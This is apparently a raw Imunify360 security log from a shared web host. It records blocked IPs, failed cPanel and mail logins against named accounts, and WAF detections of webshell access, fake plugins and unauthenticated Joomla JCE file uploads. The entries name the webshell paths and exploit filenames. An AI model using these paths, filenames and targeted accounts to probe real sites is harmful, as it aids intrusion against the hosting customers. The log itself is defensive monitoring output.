Jul 24 05:18:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 05:19:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 151.241.154.214
country_id: 6252001
domain: jaashsupplies.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_5985c9aa.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 05:20:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 151.241.154.214
country_id: 6252001
domain: elegantautomotives.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_xwku5qpo.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.89.174.87
country_id: 1269750
description:
[2026-07-24 05:23:27 +0530] info [whostmgrd] 159.89.174.87 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.81.24.74
country_id: 2921044
description:
[2026-07-24 05:23:46 +0530] info [whostmgrd] 206.81.24.74 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://samedayhvacrepair3.info\">website</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 169.58.30.42
country_id: 3017382
domain: interceptorglobal.in
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1784850943391.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.42.133.245
country_id: 3895114
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/category/products?Itemid=101 HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 05:25:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.199.233.89
country_id: 1880251
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/contact/ HTTP/1.0||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 05:27:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 143.244.47.86
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.7778.96 Safari/537.36||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 05:33:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.163.185
country_id: 6252001
description:
Jul 24 05:33:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.163.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.156.118.4
country_id: 1643084
description:
Jul 24 05:36:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.156.118.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.156.118.4
country_id: 1643084
description:
2026-07-24 05:36:44 dovecot_plain authenticator failed for H=(localhost) [103.156.118.4]:38236: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 185.132.186.31
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.35||T:APACHE||SC:/home/futuracarecom/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/up.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 185.132.186.31
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-admin/images/bootstrap.php||SC:/home/futuracarecom/public_html/wp-admin||


plugin: modsec
rule: 77350392
name: IM360 WAF: Interaction with fake plugin
abuser: 185.132.186.31
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoplugins/db.php?u||WPU:||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-07-24 05:38:03 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee ([83.118.111.32]) [37.157.91.62]:60405: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.33.68.226
country_id: 953987
description:
[2026-07-24 05:38:08 +0530] info [cpaneld] 102.33.68.226 - globalg1 "GET /login/?login_only=1&user=globalg1&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalg1 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.131.232.231
country_id: 1522867
description:
[2026-07-24 05:37:54 +0530] info [cpaneld] 94.131.232.231 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.155.1.97
country_id: 3996063
description:
[2026-07-24 05:38:00 +0530] info [cpaneld] 187.155.1.97 - globalgroupoman "GET /login/?login_only=1&user=globalgroupoman&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.112.157
country_id: 1512440
description:
[2026-07-24 05:38:05 +0530] info [cpaneld] 213.230.112.157 - globalgr "GET /login/?login_only=1&user=globalgr&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalgr (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.161.93.53
country_id: 1269750
description:
2026-07-24 05:38:21 dovecot_login authenticator failed for H=(190024687.ip3.static.mediacommerce.com.co) [103.161.93.53]:22584: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 185.132.186.31
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-admin/images/wp-conflg.php||SC:/home/futuracarecom/public_html/wp-admin||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.34.98
country_id: 783754
description:
[2026-07-24 05:38:02 +0530] info [cpaneld] 185.204.34.98 - globalgroupomancom "GET /login/?login_only=1&user=globalgroupomancom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user globalgroupomancom (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.161.93.53
country_id: 1269750
description:
Jul 24 05:38:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.161.93.53 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 185.209.196.224
country_id: 2921044
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/images/handler.php||SC:/home/yukticlick/public_html/images/handler.php||


plugin: modsec
rule: 77469916
abuser: 185.209.196.224
country_id: 2921044
domain: yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:handler.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 05:41:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 189.108.215.39
country_id: 3469034
description:
2026-07-24 05:42:47 dovecot_login authenticator failed for H=([184.185.2.1]) [189.108.215.39]:57020: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.155.71.125
country_id: 3686110
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/ HTTP/1.1||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.201.228.210
country_id: 99237
description:
Jul 24 05:42:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.201.228.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.228.210
country_id: 99237
description:
2026-07-24 05:43:00 dovecot_login authenticator failed for H=([121.191.70.197]) [62.201.228.210]:42620: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 149.102.229.248
country_id: 298795
domain: cochinbigbandshow.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/cochinbigbandsho/public_html/administrator/components/com_jdownloads||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 185.132.186.31
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/2023/05/404.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 05:48:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 05:48:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 185.132.186.31
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/chosen.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 185.132.186.31
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/2021/wp-works.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77469918
abuser: 151.115.165.201
country_id: 3175395
domain: elegantautomotives.com
description:
IM360 WAF: Unauthenticated non-PHP executable upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:745745.shtml||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-24 05:53:47 dovecot_login authenticator failed for H=([72.206.74.97]) [197.219.208.38]:33032: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: modsec
rule: 77469916
abuser: 151.115.165.201
country_id: 3175395
domain: elegantautomotives.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:745745.php4||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.99.181.123
country_id: 2661886
description:
Jul 24 05:53:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.99.181.123 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-24 05:53:30 dovecot_login authenticator failed for H=([67.201.39.9]) [65.99.181.123]:41760: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.219.208.38
country_id: 1036973
description:
Jul 24 05:53:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.219.208.38 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 185.132.186.35
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/link.php||SC:/home/futuracarecom/public_html/wp-content||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 185.132.186.31
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/system_core.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 185.132.186.35
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/link.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 185.132.186.35
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/futuracarecom/public_html/wp-includes||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 05:55:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 185.132.186.35
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/assets/jquery-ui/images/lock2.php||SC:/home/futuracarecom/public_html/assets||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 185.132.186.35
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: Block interaction with malicious plugin||RSV:8.35||T:APACHE||SC:/home/futuracarecom/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 185.132.186.35
country_id: 953987
domain: futuracare.com.au
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/||WPU:||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 06:02:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 93.152.205.216
country_id: 732800
domain: globalgroupoman.com
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:globalgroupoman||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-24 06:05:30 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([47.215.0.185]) [213.65.190.48]:45404: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.65.190.48
country_id: 2661886
description:
Jul 24 06:05:28 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.65.190.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 06:05:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-24 06:05:19 dovecot_login authenticator failed for H=([217.24.185.244]) [203.192.211.180]:53834: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 06:06:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.191.106.186
country_id: 1814991
description:
Jul 24 06:09:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.191.106.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 06:11:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.231.5.210
country_id: 1814991
description:
Jul 24 06:11:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.231.5.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.231.5.210
country_id: 1814991
description:
2026-07-24 06:11:35 dovecot_login authenticator failed for H=(hn.kd.ny.adsl) [221.231.5.210]:60109: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.67.106.221
country_id: 3686110
description:
2026-07-24 06:12:09 dovecot_login authenticator failed for H=([72.207.33.65]) [190.67.106.221]:45880: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.236.43.254
country_id: 1814991
description:
Jul 24 06:17:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.236.43.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.236.43.254
country_id: 1814991
description:
2026-07-24 06:17:09 dovecot_login authenticator failed for H=([183.89.210.225]) [116.236.43.254]:35974: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.158.10
country_id: 99237
description:
Jul 24 06:17:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.158.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.158.10
country_id: 99237
description:
2026-07-24 06:17:28 dovecot_login authenticator failed for H=(212.42.246.220.static.netvigator.com) [65.20.158.10]:45644: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 06:18:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.26.106.115
country_id: 1814991
description:
Jul 24 06:20:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.26.106.115 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.106.115
country_id: 1814991
description:
2026-07-24 06:20:48 dovecot_login authenticator failed for H=([192.34.128.202]) [111.26.106.115]:42222: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.160.15.31
country_id: 1269750
description:
Jul 24 06:20:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.160.15.31 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.15.31
country_id: 1269750
description:
2026-07-24 06:20:12 dovecot_login authenticator failed for H=([59.17.27.137]) [122.160.15.31]:38057: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.40.122.250
country_id: 2629691
description:
Jul 24 06:20:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.40.122.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.40.122.250
country_id: 2629691
description:
2026-07-24 06:20:27 dovecot_login authenticator failed for H=nova-185-040-122-250.cpe.novanet.is ([218.25.94.199]) [185.40.122.250]:51043: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 06:23:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 187.15.158.198
country_id: 2782113
domain: gsmex.global
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_dbb1d709.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 182.9.35.39
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/idealloanzcom/public_html/wp-admin||


plugin: modsec
rule: 77350296
name: IM360 WAF: Block access to the shell
abuser: 182.9.35.39
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Block access to the shell||MV:/wp-content/plugins/seoplugins/mar.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 06:29:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 06:30:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.1.80.17
country_id: 1835841
description:
Jul 24 06:31:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.1.80.17 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.1.80.17
country_id: 1835841
description:
2026-07-24 06:31:40 dovecot_login authenticator failed for H=([49.124.151.9]) [121.1.80.17]:47031: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 06:30:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 67.85.146.216
country_id: 6252001
description:
Jul 24 06:31:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 67.85.146.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.85.146.216
country_id: 6252001
description:
2026-07-24 06:31:59 dovecot_login authenticator failed for H=ool-435592d8.dyn.optonline.net ([49.125.201.92]) [67.85.146.216]:43413: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.250.67.114
country_id: 1835841
description:
Jul 24 06:32:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.250.67.114 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.250.67.114
country_id: 1835841
description:
2026-07-24 06:32:22 dovecot_login authenticator failed for H=([192.111.143.93]) [1.250.67.114]:40438: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 06:34:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 149.102.229.248
country_id: 298795
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/administrator/components/com_jdownloads/assets/upload/upload-handler.php||SC:/home/ddgalaxy/public_html/administrator/components/com_jdownloads||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 06:40:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 06:44:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.54.62.54
country_id: 1149361
description:
Jul 24 06:45:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.54.62.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.54
country_id: 1149361
description:
2026-07-24 06:45:21 dovecot_login authenticator failed for H=([104.37.132.51]) [149.54.62.54]:58543: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.238.242.194
country_id: 3469034
description:
Jul 24 06:45:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.238.242.194 has been locked due to Imunify RBL


plugin: ossec
